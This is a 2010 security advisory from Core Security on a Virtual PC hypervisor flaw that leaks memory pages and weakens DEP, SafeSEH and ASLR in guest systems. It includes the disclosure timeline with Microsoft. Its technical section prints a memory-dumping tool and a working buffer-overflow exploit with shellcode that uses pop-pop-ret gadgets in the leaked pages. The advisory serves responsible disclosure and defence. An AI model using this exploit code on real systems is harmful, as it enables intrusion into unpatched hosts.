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      Core Security Technologies - CoreLabs Advisory
           http://www.coresecurity.com/corelabs/

   Virtual PC Hypervisor Memory Protection Vulnerability

1. *Advisory Information*

Title: Virtual PC Hypervisor Memory Protection Vulnerability
Advisory Id: CORE-2009-0803
Advisory URL:
http://www.coresecurity.com/content/virtual-pc-2007-hypervisor-memory-protection-bug
Date published: 2010-03-16
Date of last update: 2010-03-16
Vendors contacted: Microsoft
Release mode: User release

2. *Vulnerability Information*

Class: Improper Access Control [CWE-285]
Impact: Security bypass
Remotely Exploitable: No
Locally Exploitable: Yes
Bugtraq ID: 38764
CVE Name: N/A

3. *Vulnerability Description*

Windows Virtual PC and Microsoft Virtual PC 2007 are system
virtualization desktop applications from Microsoft used to run one or
many virtual hosts on a single physical system. Windows 7 relies on
Virtual PC technology to implement the backward compatibility XP Mode
for legacy Windows applications. Using XP Mode, Windows 7 users can run
Windows applications on a virtualized Windows XP SP3 operating system
directly from the Windows 7 desktop but in doing so they may be
inadvertently increasing their risk due to a bug that makes standard
Windows anti-exploitation mechanisms ineffective.

A vulnerability found in the memory management of the Virtual Machine
Monitor makes memory pages mapped above the 2GB available with read or
read/write access to user-space programs running in a Guest operating
system. By leveraging this vulnerability it is possible to bypass
security mechanisms of the operating system such as Data Execution
Prevention (DEP) [1], Safe Structured Error Handling (SafeSEH) [2] and
Address Space Layout Randomization (ASLR) [3] designed to prevent
exploitation of security bugs in applications running on Windows
operation systems.

Thus applications with bugs that are not exploitable when running in
non-virtualized operating systems become exploitable if running within a
guest OS of Virtual PC. In particular, an application running on Windows
7 in XP Mode may be exploitable while the same application running
directly on a Windows XP SP3 system is not.

Additionally, software bugs that normally may not be considered
security-relevant and therefore not prioritized for the development or
deployment of fixes may suddenly become unpatched and exploitable
security bugs in the context of this vulnerability.

The vulnerability can be exploited locally within a virtualized system
to escalate privileges or remotely for code execution in combination
with any client-side bug for which existing patches have not been
applied or with any client-side bug for which a fix has not been
developed after dismissing the bug as not exploitable or of low
priority. The vulnerability does not seem usable to escape from a
virtualized OS (guest) to execute code in the context of the
non-virtualized OS (host). Use of the vulnerability to implement covert
inter-process communications within the virtualized OS or to establish
inter-VM communication have not been researched in full but are deemed
possible.

4. *Vulnerable packages*

   . Virtual PC 2007
   . Virtual PC 2007 SP1
   . Windows Virtual PC
   . Virtual Server 2005
   . Virtual Server 2005 R2 SP1

5. *Non-vulnerable packages*

   . Microsoft virtualization products that are based on Hyper-V technology.

6. *Vendor Information, Solutions and Workarounds*

This issue was reported to Microsoft in August 2009. The vendor has
acknowledged the report and after extensive analysis indicated that it
plans to solve the problem in future updates to the associated products.

We recommend affected users to run all mission critical Windows
applications on non-virtualized systems or to use virtualization
technologies that aren't affected by this bug. Windows operating systems
and applications that must run virtualized using Virtual PC technologies
should be kept at the highest patch level possible and monitored to
detect exploitation attempts.

7. *Credits*

This vulnerability was discovered by Nicolas Economou from Core Security
Technologies. Technical analysis and proof-of-concept tools were
developed by Nicolas Economou and Diego Juarez from Core's Exploit
Writers Team.

8. *Technical Description / Proof of Concept Code*

Operating systems based on Microsoft Windows NT technologies provide a
flat 32-bit virtual address space that describes 4 gigabytes of virtual
memory to 32-bit processes. This address space is used by the process to
map its executable code and the data that it uses during its runtime.
For performance and efficiency reasons the process address space is
usually split so that 2 GB of address space are directly accessible by
the user-mode application process and the other 2 GB are used to map the
code and data of the operating system and only accessible to kernel code
[4]. Any attempts from a user-space process to dereference and use
memory contents mapped at addresses above the 2GB boundary will trigger
an exception and terminate the offending process.

In some versions of 32-bit Windows operating systems it is possible to
configure the OS to provide applications with a 3GB flat virtual address
space but nonetheless the remaining portion is not accessible to
user-mode processes.

In Microsoft Virtual PC and Windows Virtual PC, the Virtual Machine
Monitor (VMM) is responsible for mediating access to hardware resources
and devices from operating systems running in a virtualized environment.
The transparency and efficiency of this mediation layer is one of the
core characteristics of modern virtualization technologies. In this
context, to maintain an equivalent level of risk for the same
application independently of whether it is running on a virtualized or a
non-virtualized environment, the OS hardening and anti-exploitation
mechanisms of a Windows operating system running directly on hardware
should have the exact same effectiveness and efficiency when the OS runs
on virtualized HW as when it runs on a Guest OS.

A vulnerability found in the Virtual PC hypervisor invalidates this
assumption and undermines the effectiveness of anti-exploitation
mechanisms such as DEP, SafeSEH and ASLR. Incorrect memory management by
the VMM of Virtual PC makes portions of the VMM worker memory available
for read or read/write access to user-space processes running in a Guest
OS. Leaked memory pages are mapped on the Guest OS at virtual addresses
above the 2GB limit which shouldn't be accessible for user-space programs.

The 'vpdumper' tool can be used to demonstrate the problem.

/-----

#include <windows.h>
#include <stdio.h>
#include <ctype.h>

#define ROWS 16

void find_leaked_memory ( void );
void print_data ( unsigned int , char * , unsigned int );

int main ( void )
{
   /* message for users */
    printf ( "\n*********** vpdumper.exe ***********" );
    printf ( "\nCreated by Nicolas A. Economou ( neconomou () corest com )" );
    printf ( "\nCore Security Technologies, Buenos Aires, Argentina (
2010 )\n" );

    /* Search and Print leaked memory */
    printf ( "\nsearching leaked memory\n" );
    find_leaked_memory ();

    return ( 1 );
}

void find_leaked_memory ( void )
{
        char buffer [ 0x1000 ];
        char *base;
        int r, w;

        /* search the high address memory area */
        for ( base = ( char * ) 0x80000000 ; base < ( char * )
0xfffff000 ; base += 0x1000 )
        {
          /* Dark Area */
          if ( ( unsigned int ) base == 0xe839c000 )
          {
            continue;
          }

          /* Inicialize flags */
          r = FALSE;
          w = FALSE;

          /* check readable */
          if ( IsBadReadPtr ( base , 1 ) == FALSE )
          {
            /* set flag */
            r = TRUE;
          }
          /* check writeable */
          if ( IsBadWritePtr ( base , 1 ) == FALSE )
          {
            /* set flag */
            w = TRUE;
          }
          /* if readable or writeable */
          if ( r == TRUE || w == TRUE )
          {
            /* get contents into our buffer */
            memcpy ( buffer , base , 0x1000 );

            /* print page attributes */
            printf ( "attributes: " );
            printf ( "%s" , ( r == TRUE ) ? "R":"" );
            printf ( "%s" , ( w == TRUE ) ? "W":"" );
            printf ( "\n" );

            /* print the memory */
            print_data ( ( unsigned int ) base , buffer , 0x1000 );
          }
        }
}

void print_data ( unsigned int direccion , char *buffer , unsigned int
bytes_a_imprimir )
{
  unsigned int cont;
  unsigned int i;

/* Imprimo las lineas encontradas */
  for ( cont = 0 ; cont < bytes_a_imprimir ; cont = cont + ROWS )
  {
  /* Imprimo la direccion de la memoria */
    printf ( "%.8x | " , direccion );

  /* Incremento la direccion a mostrar */
    direccion = direccion + ROWS;

  /* Imprimo en hexa */
    for ( i = 0 ; i < ROWS ; i ++ )
    {
    /* Imprimo la cantidad que pedi */
      if ( i < ( bytes_a_imprimir - cont ) )
      {
        printf ( "%.2x " , ( unsigned char ) buffer [ i + cont ] );
      }
      else
      {
        printf ( "   " );
      }
    }
  /* Espacio entre las 2 columnas */
    printf ( "| " );
  /* Imprimo en caracteres */
    for ( i = 0 ; i < ROWS ; i ++ )
    {
      if ( i < ( bytes_a_imprimir - cont ) )
      {
        printf ( "%c" , ( isgraph ( buffer [ i + cont ] ) ) ? buffer [ i
+ cont ] : '.' );
      }
      else
      {
        printf ( " " );
      }
    }
  /* Fin de linea */
    printf ( "\n" );
  }
}

- -----/

As a result of the vulnerability, Windows bugs generally considered to
be not exploitable may become exploitable when occurring on an
application running on a Virtual PC Guest OS. As an example, the 'abo2'
exercise from gera's Insecure Programming by Example[5] is shown below.

/-----

      /* abo2.c                                       *
      * specially crafted to feed your brain by gera */

      /* This is a tricky example to make you think   *
      * and give you some help on the next one       */

      int main(int argv,char **argc) {
        char buf[256];

        strcpy(buf,argc[1]);
        exit(1);
      }

- -----/

While 'abo2' is generally considered not exploitable on Windows
operating systems the 'vp_abo2_launcher'[6] proof-of-concept tool shown
below demonstrates that it is indeed exploitable when running in Windows
XP Mode on Windows 7 or an Windows XP SP3 or Windows Vista guest OS in
Virtual PC.

/-----

#include <windows.h>
#include <stdio.h>
#include <process.h>

/****************************************************************************/

unsigned int get_pop_pop_ret ( char );
int is_pattern ( unsigned char * , unsigned int , unsigned int * );

/****************************************************************************/

char get_code_address [] = ""
"\xe8\xff\xff\xff\xff\xf0"  // "call $-1"
"\x58"                      // "pop eax"
"\x58"                      // "pop eax"
"\xeb\x0a"                  // "jmp $+10"
"calc.exe\x01\x01"          // process
"\x04\x05"                  // "add al,5"
"\xfe\x48\x08";             // "dec byte ptr [eax+0x09]"

char call_to_winexec [] = ""
"\xbb\x33\x33\x33\x33"      // "mov ebx,WinExec"
"\x6a\x01"                  // "push 1"
"\x50"                      // "push eax"
"\xff\xd3";                 // "call ebx"

char call_to_exit [] = ""
"\xbb\x33\x33\x33\x33"      // "mov ebx,ExitProcess"
"\x6a\x01"                  // "push 1"
"\xff\xd3";                 // "call ebx"

/****************************************************************************/

void main ( int argc , char *argv [] )
{
  char shellcode [ 1024 ];
  char buffer [ 1024 ];
  char *args [ 3 ];
  unsigned int exit_process;
  unsigned int address;
  unsigned int winexec;

/* check parameters */
  if ( argc != 3 || ( ( strcmp ( argv [ 1 ] , "r" ) != 0 && strcmp (
argv [ 1 ] , "w" ) != 0 ) ) )
  {
    printf ( "\nuse: vp_abo2_launcher <r|w> abo2.exe\n" );
    printf ( "- option r: search a pop-pop-ret in the leaked memory\n" );
    printf ( "- option w: write a pop-pop-ret in the first writeable
leaked page\n" );
    printf ( "\nCreated by Nicolas A. Economou ( neconomou () corest com )" );
    printf ( "\nCore Security Technologies, Buenos Aires, Argentina (
2010 )\n" );
    return;
  }

/* search for a pop-pop-ret */
  printf ( "\nsearching pop-pop-rets " );
  address = get_pop_pop_ret ( *argv [ 1 ] );

/* if nothing is found... */
  if ( address == 0 )
  {
  /* stop the search */
    printf ( "\nERROR: pop-pop-ret not found\n" );
    return;
  }

/* print found pop-pop-ret address */
  printf ( "\npop-pop-ret found at %x\n" , address );

/* Resolve WinExec address */
  winexec = ( unsigned int ) GetProcAddress ( GetModuleHandle (
"kernel32.dll" ) , "WinExec" );
  memcpy ( &call_to_winexec [ 1 ] , &winexec , sizeof ( unsigned int ) );

/* Resolve ExitProcess address */
  exit_process = ( unsigned int ) GetProcAddress ( GetModuleHandle (
"kernel32.dll" ) , "ExitProcess" );
  memcpy ( &call_to_exit [ 1 ] , &exit_process , sizeof ( unsigned int ) );

/* build up shellcode */
  sprintf ( shellcode , "%s%s%s" , get_code_address , call_to_winexec ,
call_to_exit );

/* buffer init */
  memset ( buffer , 0 , 1024 );

/* build the buffer */
  memset ( buffer , '\x90' , 0x124 );
  memcpy ( buffer , shellcode , strlen ( shellcode ) );
  strcat ( buffer , "\x90\x90\xeb\x04" );
  strncat ( buffer , ( char * ) &address , 4 );
  strcat ( buffer , "\xe9\xcf\xfe\xff\xff" );
  strcat ( buffer ,
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
);

/* launch abo2 */
  printf ( "launching abo2.exe ...\n" );
  args [ 0 ] = argv [ 2 ];
  args [ 1 ] = buffer;
  args [ 2 ] = NULL;
  execv ( argv [ 2 ] , &args );

  printf ( "done\n" );
}

/****************************************************************************/

unsigned int get_pop_pop_ret ( char option )
{
  char buffer [ 0x1000 ];
  unsigned int address = 0;
  char *base;
  int r, w;

/* search the high address memory area */
  for ( base = ( char * ) 0x80000000 ; base < ( char * ) 0xfffff000 ;
base += 0x1000 )
  {
  /* Dark Area */
    if ( ( unsigned int ) base == 0xe839c000 )
    {
      continue;
    }

  /* show some progress */
    if ( ( ( unsigned int ) base % 0x1000000 ) == 0 )
    {
      printf ( "." );
    }

  /* Inicialize flags */
    r = FALSE;
    w = FALSE;

  /* check readable */
    if ( IsBadReadPtr ( base , 1 ) == FALSE )
    {
    /* set flag */
      r = TRUE;
    }

  /* check writeable */
    if ( IsBadWritePtr ( base , 1 ) == FALSE )
    {
    /* set flag */
      w = TRUE;
    }

  /* if searching for readable area */
    if ( option == 'r' )
    {
    /* if readable */
      if ( r == TRUE )
      {
      /* get contents into our buffer */
        memcpy ( buffer , base , 0x1000 );

      /* pattern search */
        is_pattern ( ( unsigned char * ) buffer , ( unsigned int ) base
, &address );
      }
    }
  /* if searching for writeable */
    else if ( option == 'w' )
    {
    /* if area is writeable */
      if ( w == TRUE )
      {
      /* write a pop-pop-ret */
        memcpy ( base + 0x10 , "\x58\x58\xc3" , 3 );

      /* return address + 0x10 ( to avoid a zero in the address ) */
        address = ( unsigned int ) base + 0x10;
      }
    }

  /* if a matching address is found */
    if ( address != 0 )
    {
    /* if the address contains a zero ( INVALID CHAR ) */
      if ( ( ( address & 0x00ff0000 ) == 0 ) || ( ( address & 0x0000ff00
) == 0 ) || ( ( address & 0x000000ff ) == 0 ) )
      {
      /* keep searching */
        address = 0;
      }
    /* if no zeroes */
      else
      {
      /* stop searching */
        break;
      }
    }
  }

  return ( address );
}

/****************************************************************************/

int is_pattern ( unsigned char *buffer , unsigned int base , unsigned
int *address )
{
  unsigned int cont;
  int ret = FALSE;

/* search the memory area */
  for ( cont = 0 ; cont < 0x1000 - 3 ; cont ++ )
  {
  /* if I get a "POP" */
    if ( ( buffer [ cont + 0 ] >= 0x58 ) && ( buffer [ cont + 0 ] <=
0x5f ) )
    {
    /* if I get another "POP" */
      if ( ( buffer [ cont + 1 ] >= 0x58 ) && ( buffer [ cont + 1 ] <=
0x5f ) )
      {
      /* if I get a "RET" or "RET n" */
//        if ( ( buffer [ cont + 2 ] == 0xc2 ) || ( buffer [ cont + 2 ]
== 0xc3 ) )
        if ( buffer [ cont + 2 ] == 0xc3 )
        {
        /* return the address */
          *address = base + cont;

        /* return TRUE ( pattern found ) */
          ret = TRUE;

        /* stop search */
          break;
        }
      }
    }
  }

  return ( ret );
}

- -----/

To verify this vulnerability with a real-world example, we have
investigated the Sun Java System Webserver WebDAV remote buffer overflow
vulnerability disclosed in January 2010 [7]. The bug was proved
exploitable reliably [8] on DEP enabled systems running as Guest OS on
Virtual PC.

Use of the Virtual PC memory protection bug to bypass anti-exploitation
mechanisms of the Guest OS is just one security relevant use case.
Leveraging read access to leaked memory to obtain confidential or
otherwise sensitive information and/or use of write access to leaked
memory pages to establish a communication channel with another Guest OS
are other potential attacks that were not investigated.

9. *Report Timeline*

. 2009-08-19:
Core Security Technologies notifies the Microsoft team of the
vulnerability and sends a brief technical report.

. 2009-08-19:
The Microsoft team acknowledges the vulnerability report.

. 2009-08-26:
The Microsoft team requests some proof of concept code and the version
of the 'vmm.sys' file affected. Also requests information about whether
Hardware Assisted Virtualization (HAV) is active or not when triggering
the bug.

. 2009-08-27:
Core Security Technologies sends the Microsoft team the information
requested. The vulnerability was triggered on Virtual PC SP1 with and
without HAV, using a Windows XP SP2 guest OS over a Windows XP SP3 host OS.

. 2009-09-08:
MSRC acknowledges Core email.

. 2009-09-08:
Vendor says that it is still investigating the bug and will have more
concrete details in a few days.

. 2009-09-14:
Core Security Technologies acknowledges receipt and says it will be in
touch to coordinate the publication date and the bug details.

. 2009-09-16:
Vendor says that they are still investigating the issue since it is a
very complex one with many dependencies. The vendor confirms the
vulnerability reproduction code is working and that they are assessing
the impact for both guest and host machines.

. 2009-10-06:
Core Security Technologies requests an update on the issue. Core
Security Technologies also notifies the Vendor that November 16th is the
scheduled publication date but reminds that the date can be coordinated
with the vendor.

. 2009-10-08:
MSRC says that it is looking at the issue with priority, confirmed the
findings using the provided proof-of-concept tool but it is still
assessing the risks and will be back in touch in the next few days.

. 2009-10-28:
MSRC asks if Core Security Technologies has been able to exploit the
issue to achieve either a denial of service attack on either the guest
or host OS or managed to elevate privileges on the system.

. 2009-10-28:
Core replies that the ways to abuse access to the leaked memory have not
been investigated but that the bug seemed relevant enough to report it
as a security issue. Exploitation for specific purposes would require
further work and Core Security Technologies may do it but it was not
deemed a pre-requisite to report the bug to MSRC. Core asks the vendor
if they have any findings that rules out exploitation for privilege
escalation and denial of service attacks.

. 2009-11-04:
Status update from MSRC saying that the investigation into the issue was
concluded. The issue was successfully identified with the PoC provided
by Core. After extensive review it was determined that all the memory
locations identified by the tool fall within the work area of the
Virtual Machine Monitor. The findings are that the contents of the RW
pages are not trusted by Virtual PC and overwritten before use and that
RO pages are not sensitive and do not expose either OS or user data. The
investigation concluded that the memory areas accessible from the guest
cannot be leveraged to achieve either remote code execution or elevation
of privilege and that no data from the host is exposed to the guest OS.
MSRC asks if Core disagrees with the assessment and whether there are
any other concerns that have not been addressed.

. 2009-11-04:
Core replies that the discoverer did further research into this issue
since the last communication and agrees with the assessment that the
leaked pages are part of the VMM work area. With regards to any other
concerns regarding the issue Core says that it is in the process of
preparing proof-of-concept code that demonstrates how standard
anti-exploitation mechanisms of Windows operating systems can be
circumvented with shellcode that returns into the memory pages leaked by
the VMM which would make exploitation of bugs in the guest OS much
easier than in the non-virtualized equivalent. Core believes that is
enough to qualify the issue as a legitimate security bug that requires
issuance of a fix and a corresponding security bulletin, particularly if
its determined that the example case is also applicable to Windows 7 XP
Mode. Core indicates that it will follow up within a week and reminds
MSRC that it is still considering a security bug and maintaining its
plan to publish a security advisory about it.

. 2009-11-09:
Core says that it identified a way in which the bug can be leveraged to
circumvent SafeSEH and DEP by using shellcode that jumps to a sequence
of POP-POP-RET instructions to be found anywhere in the leaked pages.
This makes it possible and much easier to exploit bugs on virtualized
systems than on those that aren't virtualized. A proof of concept
exploit for the abo2 exercise is provided, the same techniques were
tested and verified to work on Windows 7 XP Mode. Core asks if this
scenario meets the vendor's criteria for a vulnerability that requires a
fix and a security bulletin release.

. 2009-11-09:
MSRC acknowledges reception of the new details and PoC and says that it
was passed to the product team to reproduce the bug and that they will
get back in touch soon.

. 2009-11-12:
MSRC says that it agrees about the seriousness of the issue and that it
has now involved the team responsible for the anti-exploitation
mechanisms to assess it correctly. The next estimated time for a status
update is November 18 and therefore ask Core to confirm that its not
planning to publish the security advisory on November 16.

. 2009-11-12:
Core Security Technologies replies that it has re-scheduled publication
to the second Tuesday of December 2009 (December 8) and may discuss
further postponements once MSRC provides more details about the bug and
the plan to fix it. Core notes that it provided only one possible
exploitation scenario and did not investigate others because it seemed
that a single example was sufficient to explain the implied risks.

. 2009-11-12:
MSRC acknowledges receipt of previous mail.

. 2009-11-19:
MSRC status update explains there is no new information available, and
that discussion about how to address the bug still ongoing.

. 2009-11-19:
Core says that in a separate ongoing case MSRC had dismissed all
variants of an unrelated MS Excel vulnerability in BIFF file formats
reported in CORE-2009-0827 as not relevant to security because it can
only be triggered to cause a copy operation from memory locations above
3GB which would terminate the application without any possibility for
exploitation. The assumption that accesses to memory addresses above 3GB
will simply terminate the process is no longer valid in the context of
the Virtual PC hypervisor bug and thus this may outline another scenario
for exploitation of bugs that may have been deemed unexploitable before
and for which it is probable that fixes have not been developed.

. 2009-11-12:
MSRC acknowledges receipt of previous mail. Will provide additional
conclusions to the team for analysis.

. 2009-12-04:
MSRC says that it didn't identify any way to leverage the Virtual PC bug
to make exploitation of the Excel BIFF bug possible. According to the
vendor's engineering team the exposed memory pages have no influence on
the exploitability of the reported bug in Excel. The bug reported in
Excel was deemed not exploitable at all not because of a defense in
depth mechanism but to a hard boundary, MSRC asks for more details or
PoC that demonstrate that the bug may be exploitable. However, the
Virtual PC bug is still being reviewed and to make sure that it is
considered appropriately the vendors asks Core to postpone publication
of the advisory for an additional month. The vendor is still under the
impression that this is an issue to be considered for a service pack and
that it is lacking information to warrant a security bulletin.

. 2009-12-07:
Core reiterates that the original report provided a sample program
(abo2) deemed not exploitable under normal conditions that becomes
exploitable when running within a Virtual PC guest and that the analysis
used to dismiss the Excel bug as not exploitable was based on the fact
that attempts to perform read operations to memory addresses above the
3GB boundary cannot be used for anything but to terminate the offending
process. Core pointed out that the Virtual PC bug invalidates the
premise of that analysis and thus the conclusions should not longer be
considered an indisputable truth. Furthermore, since many organizations
currently rolling out Windows 7 may be relying on XP Mode to maintain
compatibility with XP applications and that in doing so they may be
inadvertently weakening their security posture in Core's view this
warrants the need for a security bulletin and corresponding security
patch. Accordingly Core has set the publication date for the Virtual PC
advisory to the 2nd Tuesday of February and will not change it unless
new information or a change in the vendor's stance occurs. If the vendor
does not consider it a security issue then Core would rather publish the
security bulletin without an official patch rather than have its
publication contingent on the release cycle of a service pack at some
undetermined time in the future.

. 2009-12-31:
MSRC acknowledges receipt of previous mail and indicates that it will
follow up on January 8th 2010 with a final decision on how it is
planning to tackle the issue.

. 2010-01-11:
Vendor says that it has completed the investigation of the Virtual PC
issue. It agrees with Core's conclusions. The bug has two implications:
1) It allows an attacker to bypass DEP and SafeSEH. However as these are
defense in depth mechanisms it would not be sufficient to issue a
security bulletin. 2) In specific limited conditions it causes
vulnerabilities that were deemed not exploitable to become exploitable.
This does break a security boundary and it is something that needs to be
addressed. Addressing the issue will require substantial work in Virtual
PC and Virtual Server code and has a significant wider scoped fix with
high application compatibility impact. The VPC team is assessing the
workload required to address the issue. MSRC will get back to Core on
February 2nd 2010 with an update.

. 2010-01-11:
Core acknowledges receipt of previous mail. Core asks if the vendor is
still considering that the issue does not merit a security bulletin. If
the answer is positive, Core will proceed with the publication of its
advisory according to plan. If the answer is negative Core may decide to
delay its publication depending on the vendor's estimate for a patch
release date that Core expects to receive on the next scheduled status
update. Core asks for clarifications about the vendor's mention to high
application compatibility impact.

. 2010-02-03:
Core asks for a status update

. 2010-02-03:
MSRC acknowledges receipt of previous email, will get back within the
next 48 hours.

. 2010-02-03:
Core acknowledges receipt of previous email, reminds that advisory
publication is scheduled for Feb. 9 and requests confirmation that
Virtual Server is also affected.

. 2010-02-05:
MSRC acknowledges receipt of previous email, says that the team is still
running into issues finding the best way to address the vulnerability.
The team has not found a satisfactory way of resolving the issue without
large application compatibility repercussions. Vendor asks Core to
postpone publication for an additional two weeks of time to involve
additional people in an attempt to find a good way to address the problem.

. 2010-02-05:
Core agrees to postpone publication of the security advisory for a month
and re-sets the publication date to March 2, 2010. Core says that it
will need answers to 4 items in order to revisit the current deadline
again: 1- The vendor's agreement that this is a security issue that will
be resolved with a security fix and the corresponding security bulletin.
2- An up to date and complete list of affected platforms (having just
recently learned that Virtual Server is also affected). 3- A clear
technical description of the origin and root cause of the problem. 4- A
plan with a reasonable estimate for a fix release date. While Core
understands that the vulnerability is complex and difficult to fix it is
also aware that the ongoing adoption and deployment of Windows 7 makes
the knowledge of the risks associated to migrating execution of Windows
XP applications to the XP Mode virtualized environment critical to
security-conscious organizations that need to make informed decisions
about their IT security risk. The growth rate of the installed base of
Virtual PC technology resulting from the increased adoption of Windows 7
makes this an increasingly bigger problem as more time passes.

. 2010-02-25:
MSRC indicates that having thoroughly reviewed the issue over the past
weeks the issue is still considered to only meet the bar as "a defense
in deep issue" and reiterates the conclusions stated in the previous
vendor email. The vendor says that the current plan is to consider
mitigating the issue in a future release of the affected products and
asks to receive the final version of Core advisory before it is
published to corroborate that it matches their understanding of the issue.

. 2010-03-03:
MSRC requests a status update

. 2010-03-03:
Core replies that its still working on gathering more details to
finalize the final draft of the advisory and that as soon as that work
is completed it will be published. Core is currently working on two
tacks: 1- Identifying the root cause of the problem to have a more clear
understanding of the effects and potential mitigations other than
recommending users simply to not use Virtual PC. 2- Identifying cases of
previously disclosed vulnerabilities that would be more easily
exploitable running in a Virtual PC guest OS. As soon as any of those
two tacks yields usable results the advisory will be completed and
published. The publication date is estimated for within 15 days.

. 2010-03-10:
Core status update to MSRC, publication set for Tuesday March 16th.
While working on the two items described in the previous email, Core has
determined that is quite likely that the bug can also be used to bypass
ASLR on Guest OS that support it by using instructions at fixed (or
nearly fixed) locations of the leaked pages as trampolines. Use of the
leaked pages as a covert IPC mechanism for intra-guest processes is also
a possibility. Core requests confirmation that Hyper-V is not affected.

. 2010-03-15:
MSRC confirms that Hyper-V is not affected. Asks for a copy of the
advisory to be published on the 16th.

. 2010-03-15:
MSRC notes that it was contacted by a reporter inquiring about the issue.

. 2010-03-15:
Core acknowledges receipt of previous email, says that the advisory is
still in editing process and indicates that a press release will be
published as well. Speculates that the press inquire may have been the
result of Core pre-announcing the upcoming press release about a Virtual
PC vulnerability for the following day.

. 2010-03-16:
Advisory CORE-2009-0803 published.

10. *References*

[1] Microsoft Security Research and Defense Blog: Understanding DEP as a
mitigation technology.
http://blogs.technet.com/srd/archive/2009/06/05/understanding-dep-as-a-mitigation-technology-part-1.aspx
[2] How to enable Structured Exception Handling Overwrite Protection
(SEHOP) in Windows operating systems.
http://support.microsoft.com/kb/956607
[3] Address Space Layout Randomization in Windows Vista.
http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx
[4] Pushing the Limits of Windows: Virtual Memory.
http://blogs.technet.com/markrussinovich/archive/2008/11/17/3155406.aspx
[5] gera's Insecure Programming by example,
http://community.corest.com/~gera/InsecureProgramming/
[6] Proof-of-concept exploitation tool for the ABO2 exercise (compiled
with Borland BCC32).
http://corelabs.coresecurity.com/index.php?module=Wiki&action=attachment&type=advisory&page=CORE-2009-0803&file=vp_abo2_launcher.c
[7] Multiple security vulnerabilities in the HTTP TRACE, WebDAV and
Digest Authentication Methods in the Sun Java System Web Server and Sun
Java System Web Proxy Server.
http://sunsolve.sun.com/search/document.do?assetkey=1-66-275850-1
[8] Proof-of-concept exploitation tool for the Java System Webserver
buffer overflow when running on a Virtual PC guest.
http://corelabs.coresecurity.com/index.php?module=Wiki&action=attachment&type=advisory&page=CORE-2009-0803&file=sunjavawebserver-webdav-vpc-poc.zip

11. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.

12. *About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.

13. *Disclaimer*

The contents of this advisory are copyright (c) 2010 Core Security
Technologies and (c) 2010 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.

14. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
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